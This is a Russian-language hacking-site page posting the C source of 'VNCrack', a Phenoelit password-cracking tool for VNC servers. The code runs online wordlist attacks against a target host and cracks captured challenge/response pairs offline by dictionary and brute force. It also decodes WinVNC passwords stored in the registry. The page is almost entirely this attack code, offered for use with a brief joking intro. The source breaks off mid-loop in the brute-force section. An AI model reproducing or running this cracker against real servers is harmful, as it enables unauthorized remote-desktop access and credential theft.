Home Материалы сайта Эксплоит: VNC Password Brute Force utility

VNCrack – это, типа, взломщик для VNC. Утилита пытается определить логин/пароль путем перебора всех возможных комбинаций. Но при попытке поиметь VNC 3.3.3r7 и выше, тебя ждет встреча с розовой птицей обломинго ;) (из-за счетчика авторизаций)

Код Эксплоита:

/* Project code: vncrack for windows (vnx4)

*

* FX <fx@phenoelit.de>

* Phenoelit (http://www.phenoelit.de/)

* (c) 2k

*

*/

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#include <winsock.h>

#include "d3des.h"

#include "vncauth.h"

extern unsigned char fixedkey[8];

#define SPLASH "VNCrackX4 – by Phenoelit (http://www.phenoelit.de/)\n"

int verbose=0,lbf=0;

char *schallange=NULL, *sresponse=NULL;

void interactive(void);

void cr_crack(char *wordlist);

void *sec_malloc(size_t size) {

void *p;

if ((p=malloc(size))==NULL) {

fprintf(stderr,"malloc() failed for %d bytes\n",size);

exit (-1);

}

memset(p,0,size);

return p;

}

void usage(void) {

printf("VNCrackX4\n"

"by Phenoelit (http://www.phenoelit.de/)\n\n"\

"Usage:\n"

"Online: ./vncrack -h target.host.com -w wordlist.txt [-opt's]\n"

"Windows interactive mode: ./vncrack -W \n"

"\tenter hex key one byte per line – find it in\n"

"\t\\HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3\\Password or\n"

"\t\\HKEY_USERS\\.DEFAULT\\Software\\ORL\\WinVNC3\\Password\n\n"

"Options for online mode:\n"

"-v\tverbose (repeat -v for more)\n"

"-p P\tconnect to port P instead of 5900\n"

"Options for PHoss intercepted challages:\n"

"-c <challange>\tchallange from PHoss output\n"

"-r <response>\tresponse from PHoss output\n"

);

exit(-1);

}

void sleep(DWORD ms) {

DWORD t1;

t1=GetTickCount();

while (GetTickCount()<(t1+ms));

}

int main(int argc, char **argv) {

int sfd; /* socket */

unsigned long dest_ip;

struct sockaddr_in dest_addr;

char *rbuf;

unsigned char atype[4];

unsigned char challange[16];

char *vnchost=NULL;

u_short vncport=5900;

int i,ani=0;

char *wordlist=NULL;

FILE *fd;

char *tryword;

char servertext[255];

char *sthelp;

int conwait=90;

/* check the command line options */

for (i=1;i<argc;i++) {

switch (argv[i][1]) {

case ‘v': // verbose

verbose++;

break;

case ‘p':

if (argv[++i]==NULL) usage();

if ((vncport=atoi(argv[i]))==0) {

fprintf(stderr,"wrong port number: %s\n",argv[i]);

exit (-1);

}

break;

case ‘h':

if (argv[++i]==NULL) usage();

vnchost=(char *)sec_malloc(strlen(argv[i])+1);

strcpy(vnchost,argv[i]);

break;

case ‘w':

if (argv[++i]==NULL) usage();

wordlist=(char *)sec_malloc(strlen(argv[i])+1);

strcpy(wordlist,argv[i]);

break;

case ‘W':

interactive();

break;

case ‘c':

if (argv[++i]==NULL) usage();

schallange=(char *)sec_malloc(strlen(argv[i])+1);

strcpy(schallange,argv[i]);

break;

case ‘r':

if (argv[++i]==NULL) usage();

sresponse=(char *)sec_malloc(strlen(argv[i])+1);

strcpy(sresponse,argv[i]);

break;

default:

usage();

}

}

if (schallange||sresponse) {

printf(SPLASH);

cr_crack(wordlist); /* exit is done here */

}

if (!(vnchost&&vncport&&wordlist)) usage();

printf(SPLASH);

/* host */

dest_ip=inet_addr(vnchost);

memcpy(&dest_addr.sin_addr,&dest_ip,sizeof(dest_ip));

dest_addr.sin_port=htons(vncport);

dest_addr.sin_family=AF_INET;

/* make sure we can talk WinSock

Comment: I like to enclose this, because it is SO UGLY */

{

WORD wVersionRequested;

WSADATA wsaData;

int err;

wVersionRequested = MAKEWORD(1, 1);

err = WSAStartup(wVersionRequested, &wsaData);

if (err != 0) {

fprintf(stderr,"Unable to start networking");

exit (-1);

}

if ((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) {

fprintf(stderr,"Unable to get a socket");

exit (-1);

}

} // socket obtained and GO

if ((fd=fopen(wordlist,"rt"))==NULL) {

fprintf(stderr,"Unable to open wordlist %s\n",wordlist);

exit (-1);

}

tryword=sec_malloc(256);

while (fgets(tryword,255,fd)!=NULL) {

/* cut the word */

if (strlen(tryword)>8) tryword[8]=’\0′;

tryword[strlen(tryword)-1]=’\0′;

if (verbose) {

printf("\ntrying ‘%s’ …",tryword);

fflush(stdout);

}

if (connect(sfd,(struct sockaddr *)&dest_addr,sizeof(dest_addr))!=0) {

fprintf(stderr,"Connect failed.\n");

exit(-1);

}

/* connunication starts with server->client version packet */

rbuf=sec_malloc(100);

if (recv(sfd,rbuf,100,0)<0) {

fprintf(stderr,"recv()");

exit(-1);

}

if (verbose>1) printf("\nServer Protocol version: %s",rbuf);

/* bounce this message back – so the server will continue */

if (send(sfd,rbuf,strlen(rbuf),0)<0) {

fprintf(stderr,"send()");

exit(-1);

}

if (recv(sfd,atype,sizeof(atype),0)<0) {

fprintf(stderr,"recv()");

exit(-1);

}

if (verbose>1) {

printf("Authentication type: ");

for (i=0;i<4;i++) { printf("%x ",atype[i]); }

printf("\n");

}

switch (atype[3]) {

case 0:

fprintf(stderr,"Server told me: connection close\n");

if (verbose) {

// try to retrieve the reason

memset(servertext,0,sizeof(servertext));

if (recv(sfd,servertext,sizeof(servertext),0)<0) {

fprintf(stderr,"recv() in verbose");

exit(-1);

} else {

sthelp=servertext;

sthelp+=4;

fprintf(stderr,"Server says: %s\n",sthelp);

}

}

exit(-1);

break; /* not reached */

case 1:

printf( "\n>>>>>>>>>>>>>>>\n"

"Server does not require authentication!\n"

">>>>>>>>>>>>>>>\n");

exit(-1);

break; /* not reached */

case 2:

if (verbose>1)

printf( "Authentication type ‘VNC authentication’ – fine\n");

break;

default:

fprintf(stderr,"Unknown authentication requested by server\n");

exit(-1);

}

if (recv(sfd,challange,sizeof(challange),0)<0) {

fprintf(stderr,"recv()");

exit(-1);

}

if (verbose>1) {

printf("challange: ");

for (i=0;i<16;i++) { printf("%x ",challange[i]); }

printf("\n");

}

/* encrypt challange with password and send this fuck to the server */

vncEncryptBytes(challange,tryword);

if (send(sfd,challange,sizeof(challange),0)<0) {

fprintf(stderr,"auth send()");

exit(-1);

}

atype[3]=0;

if (recv(sfd,atype,sizeof(atype),0)<0) {

fprintf(stderr,"auth recv()");

exit(-1);

}

switch (atype[3]) {

case 0:

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",tryword);

free(tryword);

exit(0);

break; /* not reached */

case 1: /* ‘normal’ failed */

if (verbose) printf("failed\n");

break;

case 2: /* too many */

printf("Server is angry, waiting for calm down…\n");

sleep(10000);

break;

default:

fprintf(stderr,"Unknown response\n");

exit(-1);

}

shutdown(sfd,2);

closesocket(sfd);

memset(tryword,0,256);

}

free(tryword);

fclose(fd);

return 0;

}

void interactive(void) {

unsigned char *pass;

int i;

char c;

pass=(char *)sec_malloc(9);

for (i=0;i<8;i++) {

scanf("%x",&c);

pass[i]=c;

}

printf("Entered HEX String: ");

for (i=0;i<8;i++) { printf("%x ",pass[i]); }

printf("\n");

deskey(fixedkey,DE1);

des(pass,pass);

printf("VNC Password: %s\n",pass);

exit(0);

}

void cr_crack(char *wordlist) {

int i,j;

#define CRL 16

char chl[CRL+1];

char rsp[CRL+1];

char tchl[CRL+1];

char ts[3];

FILE *fd;

char *tryword;

char bft[9];

char cset1[] =

"abcdefghijklmnopqrstuvwxyz"

"ABCDEFGHIJKLMNOPQRSTUVWXYZ"

"1234567890!\"$%&/()=?`”*_:;-.,#+}][{^<>¦\0";

#define cset1_len (92)

int cnt[8];

time_t t1,t2;

if (!wordlist) {

fprintf(stderr,"Supply wordlist file !");

exit(-1);

}

if ((!schallange)||(!sresponse)) {

usage();

}

if (

(strlen(schallange)!=16*2)

||(strlen(sresponse)!=16*2)

) {

fprintf(stderr,

"challange and response have to be 32 characters each\n");

exit (-1);

}

memset(&chl,0,CRL+1);

memset(&tchl,0,CRL+1);

memset(&rsp,0,CRL+1);

memset(&ts,0,3);

j=0;

for (i=0;i<CRL;i++) {

strncpy(ts,&schallange[j],2);

chl[i]=(unsigned char)strtol(ts,NULL,16);

strncpy(ts,&sresponse[j],2);

rsp[i]=(unsigned char)strtol(ts,NULL,16);

j+=2;

}

if (verbose) {

printf("Challange: ");

for (i=0;i<CRL;i++) {

printf("%x",(unsigned char) chl[i]);

}

printf("\n");

printf("Response : ");

for (i=0;i<CRL;i++) {

printf("%x",(unsigned char) rsp[i]);

}

printf("\n");

}

if ((fd=fopen(wordlist,"rt"))==NULL) {

fprintf(stderr,"Could not open wordlist\n");

exit (-1);

}

tryword=sec_malloc(256);

while (fgets(tryword,255,fd)!=NULL) {

tryword[strlen(tryword)-1]=’\0′;

/* try this word */

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,tryword);

if (verbose>1) {

for (i=0;i<CRL;i++) {

printf("%x",(unsigned char) rsp[i]);

}

printf("\n");

for (i=0;i<CRL;i++) {

printf("%x",(unsigned char) tchl[i]);

}

printf("\n");

}

if (!memcmp(tchl,rsp,CRL)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",tryword);

free(tryword);

exit(0);

} else {

if (verbose) printf("%s failed\n",tryword);

}

memset(tryword,0,256);

}

fclose(fd);

free(tryword);

printf( "———————————–\n"

"Wordlist failed – going brute force\n"

"———————————–\n" );

t1=GetTickCount();

bft[8]=’\0′;

bft[1]=’\0′;

printf("\tdepth I\n");

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

bft[2]=’\0′;

printf("\tdepth II\n");

for (cnt[1]=0;cnt[1]<cset1_len;cnt[1]++) {

bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

} // for 1

/************/

bft[3]=’\0′;

printf("\tdepth III\n");

for (cnt[2]=0;cnt[2]<cset1_len;cnt[2]++) {

bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1]<cset1_len;cnt[1]++) {

bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

} // for 1

} //2

/************/

bft[4]=’\0′;

printf("\tdepth IV\n");

for (cnt[3]=0;cnt[3]<cset1_len;cnt[3]++) {

bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2]<cset1_len;cnt[2]++) {

bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1]<cset1_len;cnt[1]++) {

bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

} // for 1

} //2

} //3

/************/

bft[5]=’\0′;

printf("\tdepth V\n");

for (cnt[4]=0;cnt[4]<cset1_len;cnt[4]++) {

bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3]<cset1_len;cnt[3]++) {

bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2]<cset1_len;cnt[2]++) {

bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1]<cset1_len;cnt[1]++) {

bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

} // for 1

} //2

} //3

} //4

/************/

bft[6]=’\0′;

printf("\tdepth VI\n");

for (cnt[5]=0;cnt[5]<cset1_len;cnt[5]++) {

bft[5]=cset1[cnt[5]];

for (cnt[4]=0;cnt[4]<cset1_len;cnt[4]++) {

bft[4]=cset1[cnt[4]];

for (cnt[3]=0;cnt[3]<cset1_len;cnt[3]++) {

bft[3]=cset1[cnt[3]];

for (cnt[2]=0;cnt[2]<cset1_len;cnt[2]++) {

bft[2]=cset1[cnt[2]];

for (cnt[1]=0;cnt[1]<cset1_len;cnt[1]++) {

bft[1]=cset1[cnt[1]];

for (cnt[0]=0;cnt[0]<cset1_len;cnt[0]++) {

bft[0]=cset1[cnt[0]];

if (verbose)

printf("try: %s\n",bft);

memcpy(tchl,chl,CRL);

vncEncryptBytes(tchl,bft);

if (!memcmp(tchl,rsp,16)) {

printf( "\n>>>>>>>>>>>>>>>\n"

"Password: %s\n"

">>>>>>>>>>>>>>>\n",

bft);

exit (0);

}

} // for 0

} // for 1

} //2

} //3

} //4

} //

Скачать «Хакер» для iOS
Скачать «Хакер» для Android
Автор
Denis Mirkov
Гражданин нескольких стран и человек мира, секретно наблюдающий за развитием технологий в области хайтека, постоянный автор новостной ленты «Хакера». Увлекается современными технологиями, носимой электроникой и в целом концепцией Internet of Things.